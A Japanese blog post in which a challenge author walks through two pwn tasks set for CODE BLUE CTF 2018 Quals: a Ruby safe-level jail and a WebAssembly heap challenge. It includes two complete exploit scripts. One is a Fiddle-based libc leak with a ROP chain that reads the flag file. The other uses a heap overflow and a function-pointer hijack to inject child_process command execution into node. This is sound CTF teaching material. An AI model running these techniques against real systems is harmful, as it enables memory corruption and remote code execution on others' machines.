CODE BLUE CTF 2018 Qualsで出した問題の話
7/28-7/29に開かれたCODE BLUE CTF 2018 Qualsで私が出した問題のざっくりした解説です。
English version: https://github.com/Charo-IT/CTF/blob/master/2018/codeblue_quals/writeup.md
Little Riddle (pwn)
Ruby 2.2まで存在していたsafe level 3を使ったRuby jail問です。
safe levelにより一部のメソッドの使用に制限がかかっていますが、Fiddle::Pointerでメモリを自由に読み書きできることに気付けばどうにでもなる問題になっています。
私が書いたexploitはこんな感じです。
Fiddle::Pointer.mallocの第2引数を使ってRIPを奪い、ROPに持ち込みました。
libc_offset = {
"read" => 0xf7250,
"open" => 0xf7030,
"write" => 0xf72b0,
"exit" => 0x3a030,
"setcontext" => 0x47b75,
"pop_rdi_ret" => 0x21102,
"pop_rsi_ret" => 0x202e8,
"pop_rdx_ret" => 0x1150a6,
"ret" => 0x21103,
"main_arena" => 0x3c4b20
}
# allocate a chunk
a = Fiddle::Pointer.malloc(1)
puts "a = 0x%x" % a.to_i
# get its arena
arena = Fiddle::Pointer.new(a.to_i & 0xfffffffffc000000)[0, 8].unpack("Q")[0]
puts "arena = 0x%x" % arena
# get address of main_arena
main_arena = Fiddle::Pointer.new(arena + 0x868)[0, 8].unpack("Q")[0]
puts "main_arena = 0x%x" % main_arena.to_i
# get libc base
libc_base = main_arena - libc_offset["main_arena"]
puts "libc base = 0x%x" % libc_base
# read flag
[1].each{
ptr = Fiddle::Pointer.malloc(0x200, libc_base + libc_offset["setcontext"])
payload = ""
payload << "/home/p31338/flag".ljust(0xa0, "\0")
payload << [ptr.to_i + 0xb0].pack("Q*") # rsp
payload << [libc_base + libc_offset["ret"]].pack("Q") * 10
payload << [libc_base + libc_offset["pop_rdi_ret"], ptr.to_i].pack("Q*")
payload << [libc_base + libc_offset["pop_rsi_ret"], 0].pack("Q*")
payload << [libc_base + libc_offset["open"]].pack("Q")
payload << [libc_base + libc_offset["pop_rdi_ret"], 7].pack("Q*")
payload << [libc_base + libc_offset["pop_rsi_ret"], ptr.to_i].pack("Q*")
payload << [libc_base + libc_offset["pop_rdx_ret"], 0x40].pack("Q*")
payload << [libc_base + libc_offset["read"]].pack("Q*")
payload << [libc_base + libc_offset["pop_rdi_ret"], 1].pack("Q*")
payload << [libc_base + libc_offset["pop_rsi_ret"], ptr.to_i].pack("Q*")
payload << [libc_base + libc_offset["pop_rdx_ret"], 0x40].pack("Q*")
payload << [libc_base + libc_offset["write"]].pack("Q*")
payload << [libc_base + libc_offset["exit"]].pack("Q")
ptr[0, payload.length] = payload
}
GC.start
__END__
オブジェクトの汚染フラグをFiddle::Pointerで消す、という方法をとったチームもありました。
想定解はタイトルで暗示されているようにFiddleを使うことなのですが、
safe levelをバイパスする方法にも興味があったため、非想定解に繋がりそうなものを徹底的に潰すようなことはしませんでした。(レビューの時間がなかったとも言う)
ということで、Fiddleを使わない解法も含めてwriteupをばんばん公開していただけると嬉しいです。
Secret Mailer Service 2.0 (pwn)
「CBCTF用に作ったはずのrswcをWCTFに吸われたやべえ」って言いながらWebAssembly Studioでいろいろ遊んでいたら、WebAssemblyに意外な仕様が幾つかあって面白かったのでpwnの問題にしてみました。
ソースコードはこちらから(wasmを読ませるのは流石につらすぎる気がしたので、出題時はCのソースも配布しました。優しい)
この問題を解くには、以下の3つのポイントに気付く必要があります。
- Emscriptenはdlmallocを使っている
- WebAssemblyのメモリにはreadonlyな領域がない
- WebAssemblyの関数ポインタは「メモリ上のアドレス」を表すものではない
一つずつ見ていきましょう。
1. Emscriptenはdlmallocを使っている
これはEmscriptenのソースコードを読んだり、実際にmalloc/freeするコードを書いて確かめたりするとわかります。
なので、最近のCTFでよく出るようなヒープ問と同じ要領でchunk overlappingを発生させることで、既存のLetter構造体の中身を自由にコントロールできます。
なお、glibcと違ってfastbinsがなかったり、glibcになかったチェックが入っていたりしますが、ソースコードを読んで対応しましょう。
2. WebAssemblyのメモリにはreadonlyな領域がない
これは、このように文字列定数を書き換えられるという意味でもあります。
puts("hello world"); // => hello world "hello world"[0] = 'H'; puts("hello world"); // => Hello world
つまり、
if(post){ // emscripten_run_scriptはCの世界からJavascriptのコードを実行するための関数 emscripten_run_script("_do_post_letters()"); }
seal_letters中の文字列定数"_do_post_letters()"は実は書き換え可能であり、さらにSMS2はnode上で動いていることから、ここを書き換えることでRCEできます。
なので、何らかの方法でここを書き換えることが最終目標となります。
3. WebAssemblyの関数ポインタは「メモリ上のアドレス」を表すものではない
これは実際にコードを書いて確認してみましょう。
#include <stdio.h> void foo(){ puts("foo"); } int main(){ void (*func)() = foo; printf("func = %p\n", func); printf("*func = 0x%08x 0x%08x 0x%08x 0x%08x\n", *(unsigned int *)func, *((unsigned int *)func + 1), *((unsigned int *)func + 2), *((unsigned int *)func + 3)); printf("\ncall func\n"); func(); return 0; }
$ emcc -s WASM=1 -o test.js test.c -O0 -g $ node test.js func = 0x4 *func = 0x00000000 0x00000000 0x00000000 0x00000000 call func foo
func = 0x4と出力されていますが、メモリ上の0x4付近を見ても特に何もありません。
となると、0x4はどこから出てきた数字でしょうか?
その答えはwastファイルの中にあります。
関数ポインタ経由での関数呼び出しを行っている部分に該当するwastを見てみると……
;;@ test.c:14:0
(set_local $$14 ;; $$14 = func = 4
(get_local $$1)
)
(call_indirect (type $FUNCSIG$v)
(i32.add
(i32.and
(get_local $$14)
(i32.const 7)
)
(i32.const 10)
)
)
(set_global $STACKTOP
(get_local $sp)
)
call_indirectという命令に(4 & 7) + 10(=14)という引数を渡しています。
WebAssemblyのドキュメントにあるcall_indirectの説明を見てみると
Indirect calls to a function indicate the callee with an i32 index into a table.
とあるので、何らかのテーブルが存在し、その14番目にfooがいるらしいということになります。
改めてwastファイルの中を探してみると、それらしいテーブルの14番目(0-originなことに注意)にfooがいることが確認できます。
(elem (get_global $tableBase) $b0 $___stdio_close $b1 $b1 $___stdout_write $___stdio_seek $b1 $___stdio_write $b1 $b1 $b2 $b2 $b2 $b2 $_foo $b2 $b2 $b2)
ここまでの話をまとめると、WebAssemblyでの関数ポインタはメモリ上のアドレスを示すものではなく、関数テーブル内のインデックスを基に算出される値ということです。
長くなりましたが、SMS2に話を戻しましょう。
Letter構造体内の関数ポインタはseal_letters関数で使われています。
void seal_letters(State *state, int post){ size_t i; char *outbuf; for(i = 0; i < state->count; i++){ if(state->letters[i] != NULL && state->letters[i]->filter != NULL){ outbuf = malloc(state->letters[i]->length); if(outbuf == NULL){ abort(); } state->letters[i]->filter(outbuf, state->letters[i]->buf, state->letters[i]->length); state->letters[i]->buf = outbuf; } } if(post){ emscripten_run_script("_do_post_letters()"); } }
state->letters[i]->filter(...)部分のwastと関数テーブルを見てみます。
(drop
(call_indirect (type $FUNCSIG$iiii)
(get_local $$44) ;; arg1: outbuf
(get_local $$52) ;; arg2: letter->buf <- controllable
(get_local $$59) ;; arg3: letter->length <- controllable
(i32.add
(i32.and
(get_local $$43) ;; letter->filter
(i32.const 15)
)
(i32.const 8)
)
)
)
(elem (get_global $tableBase) $b0 $b0 $b0 $b0 $___stdio_close $b0 $b0 $b0 $b1 $_filter_lower $_filter_upper $_filter_swapcase $b1 $___stdio_read $___stdio_seek $___stdout_write $___stdio_write $b1 $b1 $b1 $b1 $b1 $b1 $b1)
call_indirectに渡される関数テーブルのインデックスは(letter->filter & 15) + 8で算出されているため、Letterの関数ポインタを書き換えた場合に呼べる関数は以下の7つになります。
- 1:
filter_lower - 2:
filter_upper - 3:
filter_swapcase - 5:
__stdio_read - 6:
__stdio_seek - 7:
__stdout_write - 8:
__stdio_write
この中だと__stdio_readが気になります。実装を確認してみましょう。
#include "stdio_impl.h" #include <sys/uio.h> size_t __stdio_read(FILE *f, unsigned char *buf, size_t len) { struct iovec iov[2] = { { .iov_base = buf, .iov_len = len - !!f->buf_size }, { .iov_base = f->buf, .iov_len = f->buf_size } }; ssize_t cnt; cnt = syscall(SYS_readv, f->fd, iov, 2); if (cnt <= 0) { f->flags |= F_EOF ^ ((F_ERR^F_EOF) & cnt); return cnt; } if (cnt <= iov[0].iov_len) return cnt; cnt -= iov[0].iov_len; f->rpos = f->buf; f->rend = f->buf + cnt; if (f->buf_size) buf[len-1] = *f->rpos++; return len; }
FILE *fは直前のmallocで確保される領域なので内容をある程度コントロールできますし、unsigned char *bufとsize_t lenはLetterが書き換え可能なので任意の値を指定できます。
これを使えば好きなアドレスに好きなデータを読み込めそうです。
まとめ
これらをまとめると、この問題は以下の手順で攻略できることがわかります。
- heap bofで後続チャンクのサイズを書き換え、chunk overlappingを発生させる
- 既存の
Letter構造体を以下のように書き換えるlength: 実行したいJavascriptコードの長さ+1 (null byte用)filter: 5 (__stdio_read)buf: 0xff8 ("_do_post_letters()"のアドレス)
- メニューから
5. Seal and post all lettersを選ぶと__stdio_read(outbuf, 0xff8, length)が呼ばれるので、実行したいJavascriptコード + null byteを入力 - 3.で入力したコードが
emscripten_run_scriptに渡され、実行される
exploitはこんな感じです。
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "pwn1.task.ctf.codeblue.jp" port = 31337 else host = "localhost" port = 54321 end class PwnTube def recv_until_prompt recv_until("Select:\n") end end def tube @tube end def add_letter(size, content, to, filter) tube.recv_until_prompt tube.sendline("1") tube.recv_until("Size:\n") tube.sendline("#{size}") tube.recv_until("Content:\n") tube.send(content) tube.recv_until("To:\n") tube.send(to) tube.recv_until_prompt tube.sendline("#{filter}") end def delete_letter(index) tube.recv_until_prompt tube.sendline("3") tube.recv_until("Index:\n") tube.sendline("#{index}") end def seal_letter tube.recv_until_prompt tube.sendline("5") end PwnTube.open(host, port){|t| @tube = t cmd = "require('child_process').exec('cat flag',(a,b,c)=>console.log(b+c))\0" puts "[*] prepare" add_letter(0xc, "A" * 0xb, "1" * 0x1f + "\n", 1) add_letter(0xc, "B" * 0xb, "2" * 0x1f + "\n", 1) delete_letter(0); puts "[*] overwrite chunksize" add_letter(0xc, "C" * 0xb, "3" * 0x20 + "\x53", 1) puts "[*] overwrite existing letter" payload = "" payload << "A" * 0x10 payload << [cmd.length].pack("L") # length payload << [0xff8].pack("L") # buf (address of "_do_post_letters()"") payload << [5].pack("L") # func (__stdio_read) payload << "A" * 0x1f add_letter(payload.length + 1, payload, "AAAA\n", 1) puts "[*] call __stdio_read" tube.recv_until_prompt tube.sendline("5") puts "[*] send command to execute" tube.send(cmd) tube.interactive }